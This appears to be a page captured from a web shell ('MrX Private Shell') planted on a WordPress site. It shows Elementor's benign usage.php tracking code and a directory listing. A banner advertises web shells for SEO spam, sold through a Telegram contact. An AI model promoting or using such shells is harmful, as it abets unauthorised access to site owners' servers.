__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Elementor\App\Modules\ImportExportCustomization;
use Elementor\App\Modules\ImportExportCustomization\Processes\Revert;
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
class Usage {
/**
* Register hooks.
*
* @return void
*/
public function register() {
add_filter( 'elementor/tracker/send_tracking_data_params', function ( array $params ) {
$params['usages']['import_export']['revert'] = $this->get_revert_usage_data();
return $params;
} );
}
/**
* Get the Revert usage data.
*
* @return array
*/
private function get_revert_usage_data() {
$revert_sessions = ( new Revert() )->get_revert_sessions();
$data = [];
foreach ( $revert_sessions as $revert_session ) {
$data[] = [
'kit_name' => $revert_session['kit_name'],
'source' => $revert_session['source'],
'revert_timestamp' => (int) $revert_session['revert_timestamp'],
'total_time' => ( (int) $revert_session['revert_timestamp'] - (int) $revert_session['import_timestamp'] ),
];
}
return $data;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| compatibility | Folder | 0775 |
|
|
| data | Folder | 0775 |
|
|
| processes | Folder | 0775 |
|
|
| runners | Folder | 0775 |
|
|
| module.php | File | 25.51 KB | 0664 |
|
| usage.php | File | 1.04 KB | 0664 |
|
| utils.php | File | 4 KB | 0664 |
|
| wp-cli.php | File | 7.98 KB | 0664 |
|